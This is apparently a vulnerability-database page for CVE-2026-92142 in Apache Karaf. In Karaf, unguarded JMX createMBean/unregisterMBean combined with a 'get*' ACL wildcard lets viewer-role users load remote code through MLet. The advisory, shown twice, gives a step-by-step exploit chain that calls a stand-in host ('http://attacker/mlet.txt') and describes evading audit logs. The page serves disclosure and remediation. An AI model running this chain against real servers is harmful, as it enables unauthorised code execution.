CVE-2026-92142: CWE-862 in Apache Software Foundation Apache Karaf
Apache Karaf exposes a JMX MBeanServer guarded by KarafMBeanServerGuard, which enforces role-based access control (RBAC) on MBean operations invoked over the remote JMX connector (RMI registry/server, enabled by default on ports 1099 and 44444). The guard is implemented as a java.lang.reflect.Proxy around the MBeanServer, and only forwards a fixed list of operation names to the RBAC check, defined in MBeanInvocationHandler#guarded: private final List<String> guarded = Collections.unmodifiableList( Arrays.asList("invoke", "getAttribute", "getAttributes", "setAttribute", "setAttributes")); The MBean lifecycle operations MBeanServer#createMBean, #registerMBean and #unregisterMBean are not in this list. Calls to these methods are forwarded directly to the underlying MBeanServer with no role check at all, regardless of the roles configured in etc/jmx.acl.*.cfg. As a result, any user who can authenticate to the JMX endpoint, including a user holding only the least-privileged "viewer" role, can call createMBean() to instantiate an arbitrary class as a MBean, and unregisterMBean() to remove it again afterwards, with no authorization check and no audit log entry (logging in KarafMBeanServerGuard only occurs on the RBAC-denial path, which this bypass never reaches). This is significant because javax.management.loading.MLet, a standard JDK MBean, can be instantiated this way. MLet acts as a remote classloader: its getMBeansFromURL(URL) operation fetches an MLet text file from an attacker-controlled URL and instantiates and registers the classes it lists as new MBeans in the target JVM. Reaching this operation still goes through KarafMBeanServerGuard's existing "invoke" check, but the default etc/jmx.acl.cfg grants the "viewer" role to any method name matching the wildcard rule "get* = viewer", a heuristic intended for read-only getters. Because "getMBeansFromURL" happens to start with "get", it also matches that rule, so a default installation grants "viewer" callers permission to invoke it without any Karaf-specific ACL naming MLet at all. Combined with the createMBean gap, this gives a "viewer"-role JMX client a path to remote code execution to the Karaf JVM: * Authenticate to JMX as any user with any role (e.g. "viewer"). * mbs.createMBean("javax.management.loading.MLet", objectName) is not in GUARDED_OPERATIONS, no RBAC check, MLet is instantiated and registered. * mbs.invoke(objectName, "getMBeansFromURL", new Object[]{"http://attacker/mlet.txt"}, ...) is guarded, but the method name matches the default "get* = viewer" ACL rule, so permitted. * The remote .mlet file is fetched and its listed classes are loaded and registered as new MBeans, running attacker-supplied code in the Karaf JVM. * mbs.unregisterMBean(objectName) can be used to remove the MLet afterwards, also not in GUARDED_OPERATIONS, no RBAC check, no audit trail. The fix adds createMBean, registerMBean and unregisterMBean to the guarded operation list, resolves required roles for them from the jmx.acl* configuration by ObjectName and (for createMBean/registerMBean) MBean class name, and ships default etc/jmx.acl.cfg entries restricting all three operations to the "admin" role. This allows deployments to also write class-name-specific rule, e.g.: createMBean(java.lang.String)[/javax\.management\.loading\..*/] = admin Apache Karaf users should upgrade to 4.4.12 or 4.5.0 or later, once released, as soon as possible. Until an upgrade is available, restrict network access to the JMX RMI registry/server ports (1099/44444) to trusted hosts, or avoid issuing any non-"admin" JMX credentiels.
AI Analysis
Technical Summary
Apache Karaf's JMX MBeanServer is protected by KarafMBeanServerGuard, which enforces RBAC on certain MBean operations invoked via the remote JMX connector. However, lifecycle operations such as createMBean, registerMBean, and unregisterMBean are not included in the guarded operations list, allowing any authenticated user, including those with the 'viewer' role, to invoke them without authorization checks or audit logging. This permits creation of the javax.management.loading.MLet MBean, which can load and register arbitrary classes from attacker-controlled URLs. The default ACL configuration grants 'viewer' role permission to invoke methods starting with 'get', including MLet's getMBeansFromURL method, enabling remote code execution. The fix adds these lifecycle operations to the guarded list and restricts them to the 'admin' role by default. Users should upgrade to Apache Karaf 4.4.12 or 4.5.0 or later to remediate this issue.
Potential Impact
Any authenticated user with JMX access, including those with minimal 'viewer' privileges, can create and unregister MBeans without authorization checks. This allows instantiation of the MLet MBean, which can load and execute arbitrary code from attacker-controlled URLs, resulting in remote code execution on the Karaf JVM. There is no audit logging for these unauthorized lifecycle operations, increasing the risk of undetected exploitation.
Mitigation Recommendations
A fix is available in Apache Karaf versions 4.4.12 and 4.5.0 or later, which adds proper RBAC enforcement on MBean lifecycle operations and restricts them to the 'admin' role by default. Users should upgrade to these versions as soon as possible. Until an upgrade is applied, restrict network access to the JMX RMI registry/server ports (1099 and 44444) to trusted hosts only, and avoid issuing non-'admin' JMX credentials to minimize exposure.
CVE-2026-92142: CWE-862 in Apache Software Foundation Apache Karaf
Description
Apache Karaf exposes a JMX MBeanServer guarded by KarafMBeanServerGuard, which enforces role-based access control (RBAC) on MBean operations invoked over the remote JMX connector (RMI registry/server, enabled by default on ports 1099 and 44444). The guard is implemented as a java.lang.reflect.Proxy around the MBeanServer, and only forwards a fixed list of operation names to the RBAC check, defined in MBeanInvocationHandler#guarded: private final List<String> guarded = Collections.unmodifiableList( Arrays.asList("invoke", "getAttribute", "getAttributes", "setAttribute", "setAttributes")); The MBean lifecycle operations MBeanServer#createMBean, #registerMBean and #unregisterMBean are not in this list. Calls to these methods are forwarded directly to the underlying MBeanServer with no role check at all, regardless of the roles configured in etc/jmx.acl.*.cfg. As a result, any user who can authenticate to the JMX endpoint, including a user holding only the least-privileged "viewer" role, can call createMBean() to instantiate an arbitrary class as a MBean, and unregisterMBean() to remove it again afterwards, with no authorization check and no audit log entry (logging in KarafMBeanServerGuard only occurs on the RBAC-denial path, which this bypass never reaches). This is significant because javax.management.loading.MLet, a standard JDK MBean, can be instantiated this way. MLet acts as a remote classloader: its getMBeansFromURL(URL) operation fetches an MLet text file from an attacker-controlled URL and instantiates and registers the classes it lists as new MBeans in the target JVM. Reaching this operation still goes through KarafMBeanServerGuard's existing "invoke" check, but the default etc/jmx.acl.cfg grants the "viewer" role to any method name matching the wildcard rule "get* = viewer", a heuristic intended for read-only getters. Because "getMBeansFromURL" happens to start with "get", it also matches that rule, so a default installation grants "viewer" callers permission to invoke it without any Karaf-specific ACL naming MLet at all. Combined with the createMBean gap, this gives a "viewer"-role JMX client a path to remote code execution to the Karaf JVM: * Authenticate to JMX as any user with any role (e.g. "viewer"). * mbs.createMBean("javax.management.loading.MLet", objectName) is not in GUARDED_OPERATIONS, no RBAC check, MLet is instantiated and registered. * mbs.invoke(objectName, "getMBeansFromURL", new Object[]{"http://attacker/mlet.txt"}, ...) is guarded, but the method name matches the default "get* = viewer" ACL rule, so permitted. * The remote .mlet file is fetched and its listed classes are loaded and registered as new MBeans, running attacker-supplied code in the Karaf JVM. * mbs.unregisterMBean(objectName) can be used to remove the MLet afterwards, also not in GUARDED_OPERATIONS, no RBAC check, no audit trail. The fix adds createMBean, registerMBean and unregisterMBean to the guarded operation list, resolves required roles for them from the jmx.acl* configuration by ObjectName and (for createMBean/registerMBean) MBean class name, and ships default etc/jmx.acl.cfg entries restricting all three operations to the "admin" role. This allows deployments to also write class-name-specific rule, e.g.: createMBean(java.lang.String)[/javax\.management\.loading\..*/] = admin Apache Karaf users should upgrade to 4.4.12 or 4.5.0 or later, once released, as soon as possible. Until an upgrade is available, restrict network access to the JMX RMI registry/server ports (1099/44444) to trusted hosts, or avoid issuing any non-"admin" JMX credentiels.
Affected software
Apache Software Foundation
Apache Karaf
pkg:maven/org.apache.karaf/apache-karafRun on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
Weaknesses
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
Apache Karaf's JMX MBeanServer is protected by KarafMBeanServerGuard, which enforces RBAC on certain MBean operations invoked via the remote JMX connector. However, lifecycle operations such as createMBean, registerMBean, and unregisterMBean are not included in the guarded operations list, allowing any authenticated user, including those with the 'viewer' role, to invoke them without authorization checks or audit logging. This permits creation of the javax.management.loading.MLet MBean, which can load and register arbitrary classes from attacker-controlled URLs. The default ACL configuration grants 'viewer' role permission to invoke methods starting with 'get', including MLet's getMBeansFromURL method, enabling remote code execution. The fix adds these lifecycle operations to the guarded list and restricts them to the 'admin' role by default. Users should upgrade to Apache Karaf 4.4.12 or 4.5.0 or later to remediate this issue.
Potential Impact
Any authenticated user with JMX access, including those with minimal 'viewer' privileges, can create and unregister MBeans without authorization checks. This allows instantiation of the MLet MBean, which can load and execute arbitrary code from attacker-controlled URLs, resulting in remote code execution on the Karaf JVM. There is no audit logging for these unauthorized lifecycle operations, increasing the risk of undetected exploitation.
Mitigation Recommendations
A fix is available in Apache Karaf versions 4.4.12 and 4.5.0 or later, which adds proper RBAC enforcement on MBean lifecycle operations and restricts them to the 'admin' role by default. Users should upgrade to these versions as soon as possible. Until an upgrade is applied, restrict network access to the JMX RMI registry/server ports (1099 and 44444) to trusted hosts only, and avoid issuing non-'admin' JMX credentials to minimize exposure.
Technical Details
- Data Version
- 5.2
- Assigner Short Name
- apache
- Date Reserved
- 2026-09-15T16:59:01.764Z
- State
- PUBLISHED
Threat ID: 6abb7edff7a7c541061995a6
Added to database: 09/29/2026, 09:03:27 UTC
Last enriched: 09/29/2026, 09:17:50 UTC
Last updated: 09/29/2026, 18:20:13 UTC
Views: 14
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.